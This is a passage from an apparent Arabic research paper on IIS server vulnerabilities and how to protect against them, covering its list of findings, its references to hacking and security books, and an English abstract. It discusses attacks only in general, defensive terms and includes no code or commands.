-العمل على رفع مستوى الأمان في المخدم(Server) إلى أعلى درجة ممكنة، وذلك حتى لا يكون هذا المخدم(Server) الذي يعمل عليه الموقع فريسة سهلة بالنسبة للمخترق والوصول إلى البيانات ضمنه وذلك من خلال إستخدامه لملفات الكوكيز (Cookies) أو الجافا (Java) أو حتى الأكتف إكس (Active x)، وهاتين التقنيتين الأخيرتين تعتبران من الأدوات المهمة جداً لتصميم المواقع الحديثة ولكن سوء إستخدام هذه التكنولوجيا يهدد مستقبلها ومدى إنتشار شعبيتها، فعادةً تقوم المواقع المشبوهه و العائدة ملكيتها لأحد المحتالين بإستخدام هذه التقنية بكثرة لأنها قادرة على رصد كلمات السر والعبور وكذلك تدمير وتعديل الملفات المخزنة أو ملفات البرامج ولهذا السبب

تتجنب معظم المواقع العالمية الإفراط فيها بينما يقوم أصحاب المواقع الشخصية بإستخدامها بكثرة ليظهروا قدراتهم أمام الأصدقاء و الزملاء بحسن نية [9][2].

نتائج البحث

١. لا يوجد أمن بشكل كامل في أي مخدم أو سيرفر (Server) مهما كان نوعه.
٢. إن مخدمات IIS التي تعمل تحت بيئة نظام التشغيل ويندوز تعاني من ضعف من الناحية الأمنية بالرغم من أنها منتشرة بشكل واسع.
٣. يعتبر هذا النوع من الثغرات الأكثر إنتشاراً وذلك لأن سيرفرات IIS تشكل النسبة الأكبر من السيرفرات المستخدمة في تشغيل مواقع الويب على الإنترنت.
٤. كل ثغرة من هذا النوع من الثغرات يتم ترقيعها أو سدّها يظهر بدلاً منها العشرات أو المئات وبشكل دوري و متسارع.
٥. هذا النوع من الثغرات الأمنية في السيرفرات يتميز بسهولة إستغلاله أو إستثماره من قبل المهاجمين.
٦. هذا النوع من الثغرات يتميز بخطورته حيث يستطيع المخترق من خلاله التعامل مع الملفات والمجلدات المجودة ضمن السيرفر الذي تم إختراقه، وأيضاً تغيير الصفحات الرئيسية للمواقع الموجودة على السيرفر ودون أن يكتشفه أحد أو يستطيع تحديد هويته.
٧. يعتبر مفهوم الإختراق الأخلاقي من الأمور الهامة والتي يجب أن تتبناه أي شركة أو منظمة، لذلك يجب على الشركات أو المنظمات إبرام عقد مع أي جهة مستقلة لإختبار حماية نظامها من الإختراق والتأكد من وجود ثغرات أمنية أم لا وتمييز نقاط الضعف في نظامها.
٨. إن من أهم المتطلبات التي يحتاجها المخترق لإستخدام هذا النوع من الثغرات في إختراق المواقع ماسح CGI (CGI Scanner)، و Active Perl ومخدم ويب (Appache Or IIS).
٩. ثغرات اليونيكود (Unicode) تمكن المخترق من إدخال الأوامر بالقوة نظراً لصلاحياته المسموح بها.
١٠. مخدمات IIS هي إختيار جيد ومثالي للأشخاص الذين يستخدمون نظام التشغيل ويندوز (Windows) وتقنيات شركة مايكروسوفت ولكن نقطة ضعفه

PDF-XChange
Click to buy NOW!
www.tracker-software.com

تكمن في نقص الأمن بالإضافة إلى أنه عرضة للفشل بكل سهولة أمام حتى أصغر هجمات الفيروسات.

المراجع

[1] Joel Scambray, Mike Shema,2002-Hacking Exposed Web Applications. Brandon A. Nordin, United States of America,327pages.

[2] Joel Scambray, Stuart McClure,2008-HACKING EXPOSED™ WINDOWS®: WINDOWS SECURITY SECRETS & SOLUTIONS.Joel Scambray ,3nd ed, United States,482pages.

[3] Joel Scambray, Vincent Liu, Caleb Sima, 2011-HACKING EXPOSED™ WEB APPLICATIONS: WEB APPLICATION SECURITY SECRETS AND SOLUTIONS. Joel Scambray, 3nd ed, United States,481 pages.

[4] Jon Erickson,2008- Hacking:The Art Of Exploitation.No Starch, 2nd ed, United States of America,480pages.

[5] Kevin Beaver,2004-Hacking For Dummies.Wiley Publishing, Inc, Indianapolis, Indiana,387 Pages.

[6] Kevin Beaver,2007- Hacking For Dummies. Wiley Publishing, Inc., 2nd ed, Indianapolis, Indiana,411 Pages.

[7] Kevin Beaver,2010- Hacking For Dummies. Wiley Publishing, Inc., 3nd ed, Indianapolis, Indiana,411 Pages.

[8] Mount Ararat Blossom,2000- SECURING IIS by BREAKING. mount_ararat_blossom@hotmail.com,8 pages.

[9] Stuart McClure, Joel Scambray ,George Kurtz , 2009-HACKING EXPOSED™ 6: NETWORK SECURITY SECRETS & SOLUTIONS. The McGraw-Hill Companies, the United States, 720 pages.

[10] Stuart McClure, Joel Scambray ,George Kurtz,2005- Hacking Exposed: Network Security Secrets & Solutions. The McGraw-Hill Companies, 5nd ed, United States of America, 692 pages.

[11] Stuart McClure, Saumil Shah, Shreeraj Shah,2003-Web Hacking: Attacks and Defense. Addison Wesley, United States of America ,528pages.

Hacking IIS Servers and Protection Against it

ASISTANT: SHADI SHAMMAS

SUMMARY

A lot of changes in different life's fields have been imposed by The Technology Age (The Globalization Age) .These recent evolvements in technics has become a necessary part in presnt-days human life . Countries start racing to enter the world vastly , so all tried and stil tries in different ways to find the best , easiest and the safest way to inter the new international system , that's make the world like one village .

Today , companies , foundations and even persons make a site on that magic international web (internet) , that's for either implement electronic sale and buy transactions or make connection between companies and foundations and their agents to keep acquainted with their last offers , news and productions , or also for another several purposes are known by the most people who interests in this field .

In this research I make satisfying study about breaking through and how it works . We hear a lot about (Hackers) , but most of us don't know anything about the ways , gaps and weakness points existing in sites and which the attackers use in their works . In this research we will identify one of the gaps types which used by them in the breaking operation (services gaps IIS) , and it also works under environment of windows operating system . We also will circumstantially recognize the most important and famous types of these existing gaps and the way of profiting from and investing it . In additon , we will refer to the politics and the procedures which must follow to protect from these gaps as possible . These gaps are considered as the most spreading and existing gaps in the electronic sites , beside , the way of use it and benefit from is too easy .